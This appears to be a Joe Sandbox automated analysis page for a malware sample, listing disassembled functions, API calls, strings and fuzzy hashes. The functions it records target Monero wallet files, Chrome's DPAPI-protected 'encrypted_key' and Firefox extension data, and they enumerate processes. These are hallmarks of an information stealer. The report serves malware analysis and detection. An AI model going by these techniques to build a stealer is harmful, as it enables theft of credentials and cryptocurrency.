Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a0a9ea63f3aa0dc60cc1cbec6669e7d03fd1605e1934a097dec42700debebc01
Instruction ID: e5e054d027b8cc5a4822bbbd9da4983cee8c4a5d289f3d8ee53e6547ddb46a4e
Opcode Fuzzy Hash: a0a9ea63f3aa0dc60cc1cbec6669e7d03fd1605e1934a097dec42700debebc01
Instruction Fuzzy Hash: 9BE1EF728205189BDF06FBA4DC92EEE7738BF14300F508259F5167A091EF306A4DDBA6

Function 0038D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 00398B60: GetSystemTime.KERNEL32(003A0E1A,00E3A360,003A05AE,?,?,003813F9,?,0000001A,003A0E1A,00000000,?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 00398B86

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0038D481
lstrlen.KERNEL32(00000000), ref: 0038D698
lstrlen.KERNEL32(00000000), ref: 0038D6AC
DeleteFileA.KERNEL32(00000000), ref: 0038D72B

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 3f9a3f4d45ceadd76c4e743b67ae6fe2b330e65b5b92fde0eafdbb092197317e
Instruction ID: 922582bf5d6269c9307a87f0b82a4a81ca8ac03e21c9380f9b7b24045c087f1e
Opcode Fuzzy Hash: 3f9a3f4d45ceadd76c4e743b67ae6fe2b330e65b5b92fde0eafdbb092197317e
Instruction Fuzzy Hash: F3910E728105189BDF06FBA4DC96EEE7778AF14304F504268F507BA091EF346A49DBE2

Function 0038D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 00398B60: GetSystemTime.KERNEL32(003A0E1A,00E3A360,003A05AE,?,?,003813F9,?,0000001A,003A0E1A,00000000,?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 00398B86

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0038D801
lstrlen.KERNEL32(00000000), ref: 0038D99F
lstrlen.KERNEL32(00000000), ref: 0038D9B3
DeleteFileA.KERNEL32(00000000), ref: 0038DA32

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: af625d85f526364e9ef7779c8c918b222552ef01c9bec8a9de5df7a1153864d8
Instruction ID: f3d36959b2809c2997caa072579169486ec5b1cd1aceca1a82d0fa4bb5b3b5b0
Opcode Fuzzy Hash: af625d85f526364e9ef7779c8c918b222552ef01c9bec8a9de5df7a1153864d8
Instruction Fuzzy Hash: EA8111729205189BDF06FBA4DC96DEE7778BF14300F504268F507AA091EF346A09DBE2

Function 0038F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0039A7E6

Part of subcall function 003899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003899EC
Part of subcall function 003899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00389A11
Part of subcall function 003899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00389A31
Part of subcall function 003899C0: ReadFile.KERNEL32(000000FF,?,00000000,0038148F,00000000), ref: 00389A5A
Part of subcall function 003899C0: LocalFree.KERNEL32(0038148F), ref: 00389A90
Part of subcall function 003899C0: CloseHandle.KERNEL32(000000FF), ref: 00389A9A

Part of subcall function 00398E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00398E52

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

Part of subcall function 0039A920: lstrcpy.KERNEL32(00000000,?), ref: 0039A972
Part of subcall function 0039A920: lstrcat.KERNEL32(00000000), ref: 0039A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,003A1580,003A0D92), ref: 0038F54C
lstrlen.KERNEL32(00000000), ref: 0038F56B

Strings

^userContextId=4294967295, xrefs: 0038F59C
moz-extension+++, xrefs: 0038F5AD

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 33e005fff9cfb95157f22af441b41ffb73d1142856b4cb795a119b0d3425c198
Instruction ID: 3719ad843e5e3d7a7fc1604642f2b2dc8c043dfdf228baf735376802ea49d2f4
Opcode Fuzzy Hash: 33e005fff9cfb95157f22af441b41ffb73d1142856b4cb795a119b0d3425c198
Instruction Fuzzy Hash: 4751F171D106089ADF05FBE4DC96DED7778AF54300F408628F816AB191EF346A09DBE2

Function 003970D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 0039718C
s9, xrefs: 003972AE, 00397179, 0039717C
s9, xrefs: 00397111

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: s9$s9$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-539146638
Opcode ID: fc1b36180251de4b0b18a2e01272086a557ce5a7ddfd7446df07479a99eb48dd
Instruction ID: 13a29dedfaf7068a26bfa7e20c016dfd5947744571fe2821b2d2d78734ea82fa
Opcode Fuzzy Hash: fc1b36180251de4b0b18a2e01272086a557ce5a7ddfd7446df07479a99eb48dd
Instruction Fuzzy Hash: F2517FB1D142189BDF25EBA0DC82BEEB774EF44304F2445A8E2157A1C1EB746E88CF59

Function 00393560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 7c58670bd02fc95b46be8a150549ed2ed965eff4ab2d8fdf60dba7ae3e4ae15a
Instruction ID: 1b1f3bca34cfe747b8235635e2dbc9e1f8b02962d6ef98fb3f25933b74f74ff4
Opcode Fuzzy Hash: 7c58670bd02fc95b46be8a150549ed2ed965eff4ab2d8fdf60dba7ae3e4ae15a
Instruction Fuzzy Hash: 3F411EB1D10109AFDF06EFE4D885AFEB778AB54304F008518E5167B290DB75AA05CFA2

Function 00389CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

Part of subcall function 003899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 003899EC
Part of subcall function 003899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00389A11
Part of subcall function 003899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00389A31
Part of subcall function 003899C0: ReadFile.KERNEL32(000000FF,?,00000000,0038148F,00000000), ref: 00389A5A
Part of subcall function 003899C0: LocalFree.KERNEL32(0038148F), ref: 00389A90
Part of subcall function 003899C0: CloseHandle.KERNEL32(000000FF), ref: 00389A9A

Part of subcall function 00398E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00398E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00389D39

Part of subcall function 00389AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N8,00000000,00000000), ref: 00389AEF
Part of subcall function 00389AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00384EEE,00000000,?), ref: 00389B01
Part of subcall function 00389AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N8,00000000,00000000), ref: 00389B2A
Part of subcall function 00389AC0: LocalFree.KERNEL32(?,?,?,?,00384EEE,00000000,?), ref: 00389B3F

Part of subcall function 00389B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00389B84
Part of subcall function 00389B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00389BA3
Part of subcall function 00389B60: LocalFree.KERNEL32(?), ref: 00389BD3

Strings

DPAPI, xrefs: 00389D89
"encrypted_key":", xrefs: 00389D30
, xrefs: 00389DC1

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 67d3a094bfe1eb3865729913c5087636fa7a9c28786d85a6bb994fb425e77923
Instruction ID: c03f1337371a99a25bb9bc689ae4438b8132948c8337c97d65723abbfc17dbb0
Opcode Fuzzy Hash: 67d3a094bfe1eb3865729913c5087636fa7a9c28786d85a6bb994fb425e77923
Instruction Fuzzy Hash: 6F313EB6D10209ABCF05EBE4DC85BFEB7B8AB48304F184559E905A7241EB349A04CBA5

Function 00398680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0039A740: lstrcpy.KERNEL32(003A0E17,00000000), ref: 0039A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,003A05B7), ref: 003986CA
Process32First.KERNEL32(?,00000128), ref: 003986DE
Process32Next.KERNEL32(?,00000128), ref: 003986F3

Part of subcall function 0039A9B0: lstrlen.KERNEL32(?,00E39168,?,\Monero\wallet.keys,003A0E17), ref: 0039A9C5
Part of subcall function 0039A9B0: lstrcpy.KERNEL32(00000000), ref: 0039AA04
Part of subcall function 0039A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0039AA12

Part of subcall function 0039A8A0: lstrcpy.KERNEL32(?,003A0E17), ref: 0039A905

CloseHandle.KERNEL32(?), ref: 00398761

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 99ada2e8db796f69c79db08df99908351a5f367c5d0c35e0cc7e251a8e443978
Instruction ID: e200a4546d09bac8755ca038740d6f7c8204980b92bf94e79bce064a7257520b
Opcode Fuzzy Hash: 99ada2e8db796f69c79db08df99908351a5f367c5d0c35e0cc7e251a8e443978
Instruction Fuzzy Hash: CF316B71911618ABCF26DF90DC45FEEBBB8FF45700F104299E10AA61A0DB306A45CFA1

Function 00397980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,003A0E00,00000000,?), ref: 003979B0
RtlAllocateHeap.NTDLL(00000000), ref: 003979B7
GetLocalTime.KERNEL32(?,?,?,?,?,003A0E00,00000000,?), ref: 003979C4
wsprintfA.USER32 ref: 003979F3

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: b7f386924b5cdf823cbff37be307c9b1c8664ff29223caa0f8c9ebbea3b855a6
Instruction ID: 65e07c739a43ce62a096029178ec7b1534f3d1f637dbffe8b0be45d2fe566de1
Opcode Fuzzy Hash: b7f386924b5cdf823cbff37be307c9b1c8664ff29223caa0f8c9ebbea3b855a6
Instruction Fuzzy Hash: FA1123B2904518ABCB14DFCADD45FBEBBF8FB4CB15F10421AF605A2280E2395944DBB1

Function 0039C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0039C74E

Part of subcall function 0039BF9F: __amsg_exit.LIBCMT ref: 0039BFAF

__getptd.LIBCMT ref: 0039C765
__amsg_exit.LIBCMT ref: 0039C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0039C797

Memory Dump Source

Source File: 00000000.00000002.1699333650.0000000000381000.00000040.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1699316692.0000000000380000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000431000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.000000000043D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699333650.00000000005CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.00000000005DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000761000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000876000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1699507012.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701106467.0000000000886000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701232842.0000000000A2A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1701247475.0000000000A2B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
